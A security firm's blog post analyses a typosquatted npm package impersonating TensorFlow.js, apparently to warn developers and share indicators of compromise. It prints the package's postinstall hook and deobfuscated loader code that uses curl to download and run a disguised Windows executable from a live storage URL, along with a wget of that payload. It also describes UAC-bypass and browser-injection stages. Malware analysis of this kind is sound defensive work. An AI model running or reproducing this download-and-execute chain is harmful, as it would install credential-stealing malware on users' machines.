TensorFlow.js Typosquatting Attack: Malicious Package Targeting AI/ML Developers
A sophisticated typosquatting attack targeting TensorFlow.js
developers was discovered, distributing heavily obfuscated, multi-stage malware through npm
post install scripts. In this blog, we provide the technical details of the malware.
TL;DR
A malicious npm package named [email protected] was discovered attempting to impersonate the legitimate @tensorflow/tfjs package. The package contains heavily obfuscated JavaScript malware that executes automatically during installation via a post install script called thanksinstall.js
. The malware employs multiple layers of obfuscation including hex encoding, function name mangling, and character code substitution to evade detection. The package was published by a suspicious account [email protected]
.
The observed behavior of the malware:
- Executes
thanksinstall.js
duringnpm install
- Downloads and executes a
134MB
PE32+ executable fromhttps://storage.googleapis.com/nainaraz/success.png
success.png
is avercel/pkg
packaged executable that contains a Node.js application along with embedded executables- Leverages known UAC bypass techniques to execute the payload
coremodule.dll
- Executes
grabbar/bin/chrome_inject_x64.exe
to inject into Chrome process likely to bypass ABE
NOTE: The analysis is work in progress. We will update the blog post with more details as we continue to investigate the attack.
Detection
The malicious package [email protected]
was discovered by our automated analysis system. Subsequent analysis by our team confirmed the malicious payload.
- Package Name:
tensorflowjs
(impersonating@tensorflow/tfjs
) - Version: 0.7.0
- Publisher:
graphite7199
with email[email protected]
- Target: AI/ML developers installing TensorFlow.js packages
- Attack Vector: Automatic execution via npm post install scripts, download and execute PE32+ executable, targeting Windows systems
What is the Impact?
Our analysis identified a sophisticated malware delivered through heavily obfuscated JavaScript code in the thanksinstall.js
file. The malware specifically targets Windows systems and includes multiple evasion techniques to avoid detection.
Known malicious payload behavior includes:
- Credential theft (MITRE TA0006)
- Screen capture (MITRE T1113)
- Drop and execute malicious executables (MITRE T1204.002)
- Discord server communication (MITRE T1567.004)
Technical Impact Analysis
Component | Size | Purpose |
---|---|---|
thanksinstall.js | 14,883 bytes | Primary malware payload with post install execution |
index.js | 94,728 bytes | Decoy message |
package.json | 275 bytes | Contains malicious post install hook |
README.md | 5,743 bytes | Likely copied from legitimate package for disguise |
Obfuscation Techniques Detected
The malware employs multiple sophisticated obfuscation layers:
- Hex String Obfuscation: Critical functions and strings are encoded in hexadecimal
- Function Name Mangling: All variables use
_0x
prefixed random identifiers - Character Code Substitution: Integer to string conversion with custom cipher
- Control Flow Obfuscation: Encrypted string decryption routines
How SafeDep can protect developers?
SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks. In this specific case, our automated systems flagged the package as suspicious due to multiple signals, including identifying the malicious code and intention in typosquatting packages.
For example, pmg will alert developers when trying to install the compromised package.
➜ ~ alias npm="pmg --verbose npm"ℹ️ Resolving dependencies for 1 package(s) ... ⠸ℹ️ Analyzing 1 dependencies for malware ... ⠦
🚨 Suspicious package(s) detected: 1
Package is likely malicious due to code obfuscation, arbitrary command executionvia `child_process.spawn`, and suspicious `postinstall` script.
Reference: https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
Do you want to continue with the installation? (y/N)
Similarly, vet will alert users in CI/CD pipelines when trying to add any of the compromised package through a PR.
Technical Analysis
Our analysis was based on [email protected]
with the following file structure:
package/├── package.json (275 bytes)├── index.js (94,728 bytes)├── thanksinstall.js (14,883 bytes)└── README.md (5,743 bytes)
The package.json reveals the malicious post-install hook:
{ "name": "tensorflowjs", "version": "0.7.0", "description": "Node.js moduIe for using TensorFIow graphs and modeIs", "main": "index.js", "scripts": { "postinstall": "node thanksinstall.js" }, "author": "グラファイト", "license": "MIT"}
Analyzing thanksinstall.js
The thanksinstall.js
file contains the primary malware payload. While heavily obfuscated, our analysis identified several key components:
Obfuscation Structure
The file begins with a complex obfuscation function that uses hex-encoded strings and character code substitution:
function _0x3910(_0x57ed37,_0x28d098){ var _0x671258=_0x4a23(); return _0x3910=function(_0x285c0e,_0x46f836){ _0x285c0e=_0x285c0e-(0x3*-0x4c+0x917+-0x2*0x3d9); var _0x2e8565=_0x671258[_0x285c0e]; // ... complex deobfuscation routine },_0x3910(_0x57ed37,_0x28d098);}
Manual analysis reveals some of the interesting parts of the code:
Checks for Windows platform:
if (_0x5bc963.platform() !== "win32") { process.exit(0);}
Downloads and executes 2nd stage payload:
const _0x509b60 = _0x3e9485.join(_0x5bc963.tmpdir(), "installthanks.png");const _0x20c1f1 = ['-L', "https://storage.googleapis.com/nainaraz/success.png", '-o', _0x509b60];const _0x3e7657 = { windowsHide: true};function _0x2ac5a0(_0x3ad262, _0x1d30ef, _0xaf41b6, _0x4b31fc, _0x548376) { return _0x2935(_0x3ad262 - 0xa, _0x1d30ef);}const _0x2da3a9 = _0x1a6125("C:\\Windows\\System32\\curl.exe", _0x20c1f1, _0x3e7657);
This in turn executes the following command:
- Downloads PE32+ executable from
https://storage.googleapis.com/nainaraz/success.png
- Downloads to
%TEMP%\installthanks.png
- Executes the downloaded executable using
cmd.exec /c start <path to executable>
➜ wget https://storage.googleapis.com/nainaraz/success.png➜ file success.pngsuccess.png: PE32+ executable (GUI) x86-64, for MS Windows➜ sha256 success.pngSHA256 (success.png) = 863d274bbeb22ab969f742a06d89bdf0ababb99fdeb074a0fd9057f28b1ef257
Analyzing index.js
The index.js
file contains additional obfuscated code that appears to serve as a decoy. It follows similar obfuscation patterns but includes what appears to be a legitimate console.log statement at the end:
console[_0x117039(_0x4d7185._0x2b9c21,-_0x4d7185._0x55ffff,-_0x4d7185._0x579028,-_0x4d7185._0x4e2e46,-_0x4d7185._0xbfce91)](// ... extremely long obfuscated string that when decoded appears to output:// "Thanks for installing our package! Please report any issues on GitHub."
This appears to be an attempt to make the package seem legitimate by displaying a benign message while the real malware executes in the background.
Deobfuscated code reveals the following:
function _0x5447e2() { console.log("“Movies that claim to recreate the past” are 90% fantasy filtered through modern eyes.\n\nPeriod dramas and historical films are full of lies.\nWhy? Because they're made by modern people for modern audiences.\nThat means they inevitably include modern moral values like:\n\nExample 1: Respect for Women\nIn many historical societies, women were treated like property.\nBut in today’s films, you get “strong independent heroines” or “warrior princesses” as a given.\nTruth is, a woman acting like that back then? She’d have been executed on the spot.\n\nExample 2: Value of Human Life\nIn historical wars, massacring prisoners was standard.\nYet in modern films, you hear lines like “Don’t kill them” or “Every life is precious.”\nThat’s not history—that’s modern humanism in costume.\n\nExample 3: Equality and Justice\nCaste systems, rigid social hierarchies, and slavery were the norm.\nStill, modern dramas will push “we're all equal” or “love that transcends class” as emotional highlights.\n\nWhy does this happen?\nSimple:\nIf you truly portrayed the past as it was, modern viewers would be disgusted.\nThey’d see every character as a vile, irredeemable piece of trash.\n\nUnless you inject modern morality, the characters become impossible to empathize with.\n\nSo what’s the result?\nWe’re not watching a “recreation.”\nWe’re watching a modern fantasy of an idealized past.\n\nReal history?\nIt was brutal, unfair, oppressive, and life was cheap.\nPortray it accurately, and even an R-rating wouldn’t be enough.\n\n ");}_0x5447e2();
Analyzing Stage2 Binary
The stage2 binary was downloaded from https://storage.googleapis.com/nainaraz/success.png
by the thanksinstall.js
file.
The 2nd stage binary is a PE32+ executable that is downloaded and executed by the thanksinstall.js
file. We started by looking at some of the interesting strings in the binary.
C:\Users\kenken\Downloads\waruikoto\node_modules\speaker\build\Release\binding.pdbC:\snapshot\waruikoto\node_modules\glob\dist\commonjs\index.jsWinnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4
Looking at strings(1)
, it was evident that the executable was created by bundling Javascript files with Node.js and a loader, likely created using vercel/pkg. Presence of bootstrap.js from vercel/pkg is a strong indicator for this.
Building a custom extractor for vercel/pkg
is a bit tricky, but we were able to extract the Javascript files:
➜ success-extracted git:(main) ✗ ls -al waruikoto/loader-uacbypasstotal 206128drwxr-xr-x 8 dev wheel 256 13 Aug 09:27 .drwxr-xr-x 4 dev wheel 128 13 Aug 09:27 ..-rw-rw-rw- 1 dev wheel 56840015 13 Aug 09:27 cliui.png-rw-rw-rw- 1 dev wheel 48305652 13 Aug 09:27 cliui2.png-rw-rw-rw- 1 dev wheel 107520 13 Aug 09:27 coremodule.dll-rw-rw-rw- 1 dev wheel 161144 13 Aug 09:27 index.js-rw-rw-rw- 1 dev wheel 506 13 Aug 09:27 package.json-rw-rw-rw- 1 dev wheel 108544 13 Aug 09:27 sigma2.exe
Looking at the file types
➜ loader-uacbypass git:(main) ✗ file *cliui.png: PE32+ executable (GUI) x86-64, for MS Windowscliui2.png: PE32+ executable (GUI) x86-64, for MS Windowscoremodule.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windowsindex.js: datapackage.json: JSON datasigma2.exe: PE32+ executable (console) x86-64, for MS Windows
The payload is a Node.js application with its own package.json
containing:
{ "name": "logo", "version": "1.0.0", "bin": "index.js", "pkg": { "targets": [ "node16-win-x64" ], "scripts": [ "index.js" ], "assets": [ "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll" ] }, "files": [ "index.js", "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll" ], "dependencies": { "child_process": "^1.0.2" }, "scripts": { "start": "node index.js", "build": "pkg ." }}
We found the string C:\Users\kenken\Downloads\QuickAssist_UAC_Bypass-main\QuickAssist_UAC_Bypass-main\x64\Release\QuickAssist_UAC_Bypass.pdb
in sigma2.exe
which indicates that the executable is a Windows UAC bypass tool, likely QuickAssist_UAC_Bypass. The coremodule.dll
is likely the payload executed through UAC bypass to execute further payloads with higher privileges.
The embedded cliui.png
and cliui2.png
are in turn vercel/pkg
packaged executables which in turn contains multiple executables.
cliui.png
➜ waruikoto git:(main) ✗ ls -altotal 2872drwxr-xr-x 10 dev wheel 320 13 Aug 09:38 .drwxr-xr-x 6 dev wheel 192 13 Aug 09:38 ..-rw-rw-rw- 1 dev wheel 700494 13 Aug 09:38 beep.wav-rw-rw-rw- 1 dev wheel 512 13 Aug 09:38 boot.bin-rw-rw-rw- 1 dev wheel 200704 13 Aug 09:38 coremodule.exe-rw-rw-rw- 1 dev wheel 107008 13 Aug 09:38 coremodule3.exe-rw-rw-rw- 1 dev wheel 430736 13 Aug 09:38 index.jsdrwxr-xr-x 162 dev wheel 5184 13 Aug 09:38 node_modules-rw-rw-rw- 1 dev wheel 925 13 Aug 09:38 package.json-rw-rw-rw- 1 dev wheel 12288 13 Aug 09:38 sigma.exe
cliui2.png
➜ cliui2-extracted git:(main) ✗ ls -al waruikoto/grabbertotal 280drwxr-xr-x 7 dev wheel 224 13 Aug 09:38 .drwxr-xr-x 4 dev wheel 128 13 Aug 09:38 ..drwxr-xr-x 3 dev wheel 96 13 Aug 09:38 bin-rw-rw-rw- 1 dev wheel 2416 13 Aug 09:38 dpapi-wrapper.js-rw-rw-rw- 1 dev wheel 132376 13 Aug 09:38 index.jsdrwxr-xr-x 94 dev wheel 3008 13 Aug 09:38 node_modules-rw-rw-rw- 1 dev wheel 428 13 Aug 09:38 package.json
Conclusion
The tensorflowjs
typosquatting attack represents a sophisticated supply chain threat specifically targeting the AI/ML development community. By impersonating the popular TensorFlow.js library, attackers attempted to compromise developer environments through automatic execution of heavily obfuscated malware.
Tools like vet and pmg are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.
Appendix
Indicators of Compromise (IOCs)
- Package Name:
[email protected]
- Publisher:
graphite7199
- Email:
[email protected]
- Discord Server
https://discord.gg/8WYA8z2xf4
- SHA256 (thanksinstall.js): 10f9a1d620fa82e991977fcbb9ad20da3193f8a2f540bdfb80a37251bb290ae0
- SHA256 (index.js): 6e7f9a3c65fb053f1f5aa0a152f8490ed4a019573b54acf6e3f7d91daba973b8
- SHA256 (waruikoto/loader-uacbypass/cliui.png): d544e4d4b16533a51e69b38b66251afef91b8ddecd5b2bbc0134d6929c17bd1e
- SHA256 (waruikoto/loader-uacbypass/cliui2.png): 37d785cce4b52cae470260d140918c5a7e5034f66ca8c7f1b1df005ad9a0ee0a
- SHA256 (waruikoto/loader-uacbypass/coremodule.dll): fdf420be2bcde513a982111d3f8ca57b4d96ced11ada2361b5943c8fda386004
- SHA256 (waruikoto/loader-uacbypass/index.js): 6a386798a4cf028a3e9683aa85156de64f5106912ef44df3db767299784abee1
- SHA256 (waruikoto/loader-uacbypass/package.json): 33ef141b01d700b9c1072354f8b7abb20685485f96223f18d123aed5a38507f2
- SHA256 (waruikoto/loader-uacbypass/sigma2.exe): 801e63b9a5794091db3099b5e0d4ab37f5a0f511821af8c67492ba63d1b2eadb
- SHA256 (waruikoto/node_modules/child_process/package.json): 74ccc830594321078498fbe030c07fe617edaf66f6e57cfd60dce1d619e5a59a
- SHA256 (waruikoto/sigma.exe): 3d3b3b1f7829221fa8945c3161f7f9d373041abac0368db0a60f726e015fab60
- SHA256 (waruikoto/beep.wav): 7085691597afb8dad2cdd73b937292129e3f4b71569d758c879a550add66f100
- SHA256 (waruikoto/boot.bin): 3aecb1a242360fa76c47ecc4377ddfeedae9f5cb8cc21c43e1f13bf9d8d94850
- SHA256 (waruikoto/coremodule.exe): bedf23fb5c555a2de2cc5a037fe18e5379768e3c0b166a60f1af8d02e43a5bce
- SHA256 (waruikoto/coremodule3.exe): ac311b153a725f773791d062b26aa21388b6131f4110d7b20a240eb005e1d9c1
- SHA256 (waruikoto/index.js): d3c9082ae158e4ab1e5889258a0245d3d708194243563fbf73091a96ec6f7749
- SHA256 (grabbar/bin/chrome_inject_x64.exe): d46bb31dc93b89d67abffe144c56356167c9e57e3235bfb897eafc30626675bb
Other interesting strings in various embedded executables:
C:\Users\kenro\source\repos\C:\Users\kenro\source\repos\mouseandkeydestroyer\x64\Release\mouseandkeydestroyer.pdbWinnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4